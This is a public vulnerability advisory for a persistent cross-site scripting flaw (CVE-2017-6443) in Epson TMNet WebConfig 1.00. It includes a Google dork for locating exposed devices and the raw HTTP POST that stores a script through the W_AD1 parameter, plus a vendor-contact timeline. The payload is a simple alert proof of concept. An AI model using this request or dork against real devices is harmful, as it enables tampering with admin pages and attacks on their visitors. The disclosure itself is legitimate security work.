EPSON TMNet WebConfig 1.00 - Cross-Site Scripting

# Exploit Title: Persistent XSS in EPSON TMNet WebConfig Ver. 1.00

# Google Dork: intitle:"EPSON TMNet WebConfig Ver.1.00"

# Date: 3/3/2017

# Exploit Author: Michael Benich

# Vendor Homepage: https://www.epson-biz.com/

# Software Link: https://c4b.epson-biz.com/modules/community/index.php?content_id=50

# Version: 1.00

# CVE: CVE-2017-6443

# Contact: benichmt1@protonmail.com // @benichmt1

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Summary:

Persistent cross-site scripting (XSS) in the web interface of Epson's TMNet WebConfig Ver 1.00 application allows a remote attacker to introduce arbitary Javascript via manipulation of an unsanitized POST parameter.



Steps to reproduce:



1)Make a POST request using Burp Proxy or other application 



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POST /Forms/oadmin_1 HTTP/1.1

Host: XXX.XXX.XXX.XXX

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://XXX.XXX.XXX.XXX/oadmin.htm

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 47



W_AD1=<script>window.alert(0)</script>&W_Link1=&Submit=SUBMIT



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2) Browsing to the main page will execute your script. This remains persistent for any user who then visits this page.



GET /istatus.htm HTTP/1.1

Host: XXX.XXX.XXX.XXX

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://XXX.XXX.XXX.XXX/side.htm

Connection: close

Upgrade-Insecure-Requests: 1



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Timeline:



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12/1/2016 - Discovery.

12/9/2016 - Emailed support@ , info@ , and domain-admin@ emails. No response.

12/16/2016 - Pinged on Twitter. Recommended to contact through support.

12/22/2016 - Reached on LinkedIn directly to individual listed as Security Engineer and asked to find proper security contact channel. No response, but the connection request was accepted.

3/3/2017 - Disclosure

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